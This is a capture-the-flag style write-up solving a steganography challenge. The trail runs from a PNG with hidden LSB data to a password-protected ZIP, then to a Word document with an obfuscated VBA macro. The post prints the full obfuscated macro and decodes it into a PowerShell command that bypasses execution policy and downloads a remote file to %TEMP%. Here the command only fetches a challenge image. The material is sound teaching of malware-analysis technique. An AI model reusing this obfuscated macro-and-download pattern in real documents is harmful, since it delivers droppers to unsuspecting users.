Hack in Paris Challenge Wrap-Up

I Have a Solution for ThatA few days ago, I proposed a challenge to solve. The first ten people, who solved it, won a free ticket to attend the security conference Hack in Paris in June. Thanks to all the players! If all tickets were assigned after a few days, some people did not solve the challenge and asked me to publish a small wrap-up with the solution. The challenge was based on a single file still available here. About the participants, here are some stats:

  • The file was downloaded from 253 unique IP addresses
  • The solution (another file to download) was downloaded from 29 uniques IP addresses

Not too bad for a small challenge like this! Let’s go with the solution…

At the beginning, the file looks like a normal PNG image. This can be verified by the ‘file‘ Linux command. The picture can also be displayed by any image viewer.

$ file hip2015.png
hip2015.png: PNG image data, 851 x 315, 8-bit/color RGB, non-interlaced/

But, if you look deeper at the file content, there are other data sections which are not common in a PNG image. Binwalk is a nice tool to detect this:

$ binwalk hip2015.png
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 851 x 315, 8-bit/color RGB, non-interlaced
41            0x29            Zlib compressed data, default compression, uncompressed size >= 163840
69564         0x10FBC         Cisco IOS microcode for "B"
319988        0x4E1F4         LZMA compressed data, properties: 0x5D, dictionary size: 2097152 bytes, missing uncompressed size
427869        0x6875D         Zlib compressed data, default compression, uncompressed size >= 11

A lot of players tried to rename the file and extract ZIP data directly from the file (like if it was a simple append at the end of the image. No luck!

$ mv hip2015.png hip2015.zip
$ unzip -t hip2015.zip
Archive:  hip2015.zip
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.

The ‘strings‘ commands is always useful to detect interesting pieces of text. One was particularly interesting in the file: ‘zTxtAuthor‘. A PNG image can have multiple chunks with interesting data.

$ strings hip2015.png
...
zTXtAuthor
...

The letter ‘z‘ means that the metadata are compressed; that’s why they aren’t present in the output of the strings command.To read them in a human readable way, we can use a tool like ‘exiftool‘:

$ exiftool hip2015.png
ExifTool Version Number         : 8.60
File Name                       : hip2015.png
Directory                       : .
File Size                       : 418 kB
File Modification Date/Time     : 2015:04:24 17:52:52+02:00
File Permissions                : rw-r--r--
File Type                       : PNG
MIME Type                       : image/png
Image Width                     : 851
Image Height                    : 315
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Author                          : TheH4X0rPwd
Image Size                      : 851x315

Again, a lot of people submitted the strings “TheH4XorPwd” as the challenge solution. This is way too easy, but let’s keep this information in mind for later. Have a look at the file size (418Kb). Is it normal size for a image of only 851×315 pixels? For sure, this is another proof that extra data are stored in the file. How and where?

Steganography is the art of hiding things within other things, for example hiding a text message within a picture in some way. Honestly, this is not uncommon and many challenges in CTF games implement steganography. There are plenty of tools to analyze pictures but StegSolve is a nice one. It performs an analysis of the file structure as well as allowing each bit plane to be viewed on its own. If you open the image in StegSolve, you can analyze all the planes one by one and see some differences for specific colors/bits. The first picture display the green plane bit ‘0’ and the second one the blue plane bit ‘6’.

Stegsolve - Green plane 0Stegsolve - Blue plane 6

After reviewing all the planes, you see that the red and green bit planes contain different data in the LSB (‘Least Significant Bit’). StegSolve allows to dump the data and, magically, we can see the signature of a ZIP file: ‘PK‘.

Stegsolve Data

Save the binary data and we can now extract the protected archive content. With which password? The string found in the zTxTAuthor field! The archive countains just a Microsoft document.

$ unzip hip2015.zip
Archive: hip2015.zip
[hip2015.zip] hip.doc password:
inflating: hip.doc
$ file hip.doc
hip.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Xavier Mertesn, Template: Normal, Last Saved By: Xavier Mertesn, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 12:04:00, Create Time/Date: Wed Apr 8 11:01:00 2015, Last Saved Time/Date: Wed Apr 8 11:01:00 2015, Number of Pages: 1, Number of Words: 12, Number of Characters: 66, Security: 0

HIP Document

 

If you open this document in a Microsoft Word, it will warn you that it contains macros! To analyze them, let’s use Didier Stevens’s tool oledump to analyze the macros:

$ oledump.py hip.doc 
 1:       121 '\x01CompObj'
 2:      4096 '\x05DocumentSummaryInformation'
 3:      4096 '\x05SummaryInformation'
 4:      6742 '1Table'
 5:       413 'Macros/PROJECT'
 6:        65 'Macros/PROJECTwm'
 7: M    8883 'Macros/VBA/Module1'
 8: M    1430 'Macros/VBA/ThisDocument'
 9:      3523 'Macros/VBA/_VBA_PROJECT'
10:       571 'Macros/VBA/dir'
11:       230 'MsoDataStore/FG\xc3\x81\xc3\x86LZD\xc3\x82O\xc3\x84\xc3\x9e2Q4\xc3\x8c\xc3\x8fX\xc3\x98\xc3\x84\xc3\x9cC\xc3\x80==/Item'
12:       341 'MsoDataStore/FG\xc3\x81\xc3\x86LZD\xc3\x82O\xc3\x84\xc3\x9e2Q4\xc3\x8c\xc3\x8fX\xc3\x98\xc3\x84\xc3\x9cC\xc3\x80==/Properties'
13:      4096 'WordDocument'

Based on its size, the 7th stream looks to be our best candidate. Let’s decode and dump the VBA macro from the stream:

$ ./oledump.py -s 7 -v hip.doc
Attribute VB_Name = "Module1"
Sub gettoken()
 R34VV7 = ChrW(43.1 + 55.9) & ChrW(107.2 + 1.8) & ChrW(37.1 + 62.9) & ChrW(28.1 + 3.9) & ChrW(23# + 24#) & ChrW(64.5 + 10.5)
 OMR7CZ = ChrW(3.7 + 28.3) & ChrW(82.1 + 29.9) & ChrW(16# + 95#) & ChrW(36.1 + 82.9) & ChrW(63.4 + 37.6) & ChrW(26.2 + 87.8)
 XOQACY = ChrW(103.4 + 11.6) & ChrW(81.5 + 22.5) & ChrW(100.5 + 0.5) & ChrW(90.1 + 17.9) & ChrW(13# + 95#) & ChrW(7.9 + 38.1)
 Y6671K = ChrW(89.3 + 11.7) & ChrW(103.1 + 16.9) & ChrW(79.2 + 21.8) & ChrW(2.5 + 29.5) & ChrW(24.1 + 20.9) & ChrW(52.3 + 16.7)
 M8FEVF = ChrW(100.9 + 19.1) & ChrW(39.3 + 61.7) & ChrW(42.6 + 56.4) & ChrW(69.3 + 47.7) & ChrW(39.6 + 76.4) & ChrW(90.7 + 14.3)
 M0DP35 = ChrW(105.3 + 5.7) & ChrW(57.8 + 52.2) & ChrW(75.3 + 4.7) & ChrW(84.6 + 26.4) & ChrW(63.7 + 44.3) & ChrW(53.1 + 51.9)
 WTLT83 = ChrW(10.5 + 88.5) & ChrW(118.7 + 2.3) & ChrW(9.1 + 22.9) & ChrW(60.9 + 37.1) & ChrW(108.5 + 12.5) & ChrW(34.5 + 77.5)
 FXODK3 = ChrW(87# + 10#) & ChrW(36.3 + 78.7) & ChrW(21.9 + 93.1) & ChrW(11.9 + 20.1) & ChrW(6.4 + 38.6) & ChrW(64.1 + 45.9)
 ILLHOJ = ChrW(5.6 + 105.4) & ChrW(68# + 44#) & ChrW(53.3 + 60.7) & ChrW(46.1 + 64.9) & ChrW(9.5 + 92.5) & ChrW(13.7 + 91.3)
 X2OTVL = ChrW(65.2 + 42.8) & ChrW(57.4 + 43.6) & ChrW(19.5 + 12.5) & ChrW(16.2 + 23.8) & ChrW(39.6 + 38.4) & ChrW(59.8 + 41.2)
 SL7TWP = ChrW(98.7 + 20.3) & ChrW(9# + 36#) & ChrW(49.4 + 29.6) & ChrW(48.3 + 49.7) & ChrW(23.5 + 82.5) & ChrW(73.1 + 27.9)
 YRUA9H = ChrW(71.6 + 27.4) & ChrW(42.7 + 73.3) & ChrW(19.2 + 12.8) & ChrW(34.2 + 48.8) & ChrW(53.5 + 67.5) & ChrW(58.3 + 56.7)
 S9BWBC = ChrW(11.4 + 104.6) & ChrW(55# + 46#) & ChrW(42.2 + 66.8) & ChrW(12.9 + 33.1) & ChrW(54.2 + 23.8) & ChrW(57.3 + 43.7)
 U4QDHY = ChrW(72.5 + 43.5) & ChrW(22.6 + 23.4) & ChrW(41.2 + 45.8) & ChrW(50.7 + 50.3) & ChrW(62.8 + 35.2) & ChrW(10# + 57#)
 XQ3LP5 = ChrW(76.2 + 31.8) & ChrW(67.1 + 37.9) & ChrW(76.6 + 24.4) & ChrW(43# + 67#) & ChrW(9.4 + 106.6) & ChrW(40.3 + 0.7)
 O0NN2X = ChrW(2.9 + 43.1) & ChrW(51.9 + 16.1) & ChrW(58.9 + 52.1) & ChrW(51.2 + 67.8) & ChrW(48.1 + 61.9) & ChrW(23.3 + 84.7)
 ZIZS3K = ChrW(69.2 + 41.8) & ChrW(1.4 + 95.6) & ChrW(28.9 + 71.1) & ChrW(23.9 + 46.1) & ChrW(74.9 + 30.1) & ChrW(39.7 + 68.3)
 RJIRA7 = ChrW(43# + 58#) & ChrW(22.3 + 17.7) & ChrW(36.5 + 2.5) & ChrW(1.4 + 102.6) & ChrW(101.2 + 14.8) & ChrW(24.3 + 91.7)
 LFIXCN = ChrW(82.9 + 29.1) & ChrW(36.3 + 21.7) & ChrW(18# + 29#) & ChrW(13.6 + 33.4) & ChrW(39.5 + 58.5) & ChrW(33.9 + 74.1)
 E9TD1G = ChrW(19# + 92#) & ChrW(37.5 + 65.5) & ChrW(11.7 + 34.3) & ChrW(80.2 + 33.8) & ChrW(34.3 + 76.7) & ChrW(43.9 + 67.1)
 X0O7CH = ChrW(52.5 + 63.5) & ChrW(98.7 + 16.3) & ChrW(9.1 + 94.9) & ChrW(16.9 + 84.1) & ChrW(33.3 + 74.7) & ChrW(11.8 + 96.2)
 Q3T6MK = ChrW(30.9 + 15.1) & ChrW(19.1 + 78.9) & ChrW(33.2 + 67.8) & ChrW(23# + 24#) & ChrW(59# + 56#) & ChrW(62# + 54#)
 DC5U2X = ChrW(76.7 + 40.3) & ChrW(13.5 + 88.5) & ChrW(19.2 + 82.8) & ChrW(2.7 + 44.3) & ChrW(23.3 + 63.7) & ChrW(83.4 + 4.6)
 XC5YRH = ChrW(72# + 31#) & ChrW(47.9 + 8.1) & ChrW(17.4 + 35.6) & ChrW(2.3 + 110.7) & ChrW(34.7 + 13.3) & ChrW(75.4 + 12.6)
 Y7A4JI = ChrW(60.4 + 5.6) & ChrW(99.7 + 5.3) & ChrW(40.3 + 5.7) & ChrW(61.9 + 50.1) & ChrW(75# + 35#) & ChrW(77.1 + 25.9)
 L03FNO = ChrW(15.2 + 23.8) & ChrW(42.5 + 1.5) & ChrW(7# + 32#) & ChrW(21.3 + 15.7) & ChrW(22.4 + 61.6) & ChrW(19.1 + 49.9)
 Q668F0 = ChrW(36.4 + 40.6) & ChrW(38.2 + 41.8) & ChrW(26.7 + 10.3) & ChrW(56.3 + 35.7) & ChrW(80.8 + 6.2) & ChrW(61.5 + 26.5)
 W56XG4 = ChrW(88.5 + 14.5) & ChrW(2.6 + 53.4) & ChrW(48.9 + 4.1) & ChrW(110.6 + 2.4) & ChrW(27.3 + 20.7) & ChrW(87.1 + 0.9)
 CX4IGF = ChrW(31# + 35#) & ChrW(16.7 + 88.3) & ChrW(17.1 + 28.9) & ChrW(84.2 + 27.8) & ChrW(19.2 + 90.8) & ChrW(36# + 67#)
 C5MHOT = ChrW(21.8 + 17.2) & ChrW(18.4 + 22.6) & ChrW(16.9 + 42.1)
 G43JXT = R34VV7 + OMR7CZ + XOQACY + Y6671K + M8FEVF + M0DP35 + WTLT83 + FXODK3 + ILLHOJ + X2OTVL + SL7TWP + YRUA9H + S9BWBC + U4QDHY + XQ3LP5 + O0NN2X + ZIZS3K + RJIRA7 + LFIXCN + E9TD1G + X0O7CH + Q3T6MK + DC5U2X + XC5YRH + Y7A4JI + L03FNO + Q668F0 + W56XG4 + CX4IGF + C5MHOT
 IUGuyguisdf = Shell(G43JXT, 0)
End Sub

The code is of course obfuscated. The parameter ‘G43JXT‘ passed to the Shell() function is based on multiple additions and character conversions from numbers. From here, you have two choices: To execute the VBA code on a Windows machine or, on Linux, to convert the code to something else like Python:

$ cat hip.py
#!/usr/bin/env python
def ChrW(x):
   return chr(int(x))
R34VV7 = ChrW(43.1 + 55.9) + ChrW(107.2 + 1.8) + ChrW(37.1 + 62.9) + ChrW(28.1 + 3.9) + ChrW(23 + 24) + ChrW(64.5 + 10.5)
...
...
G43JXT = R34VV7 + OMR7CZ + XOQACY + Y6671K + M8FEVF + M0DP35 + WTLT83 + FXODK3 + ILLHOJ + X2OTVL + SL7TWP + YRUA9H + S9BWBC + U4QDHY + XQ3LP5 + O0NN2X + ZIZS3K + RJIRA7 + LFIXCN + E9TD1G + X0O7CH + Q3T6MK + DC5U2X + XC5YRH + Y7A4JI + L03FNO + Q668F0 + W56XG4 + CX4IGF + C5MHOT
#IUGuyguisdf = Shell(G43JXT, 0)
print G43JXT

Execute the script and it will return you the following string:

$ ./gettoken.py
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (NewObject System.Net.WebClient).DownloadFile('https://blog.rootshell.be/stuff/WXg85q0XBi.png','%TEMP%\WXg85q0XBi.png');

If the macro is executed from the Word document, it will spawn a Powershell which will download a picture and store it in your %TEMP% directory. If you download the new PNG manually, you get this:

Challenge SolvedThat’s all and congratulations to the winners!

I would like to thank again my friend @doegox for his help with the steganography step and the tests!

14 comments

  1. Very nice, thanks.
    Would it be possible to get the stego code ?

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.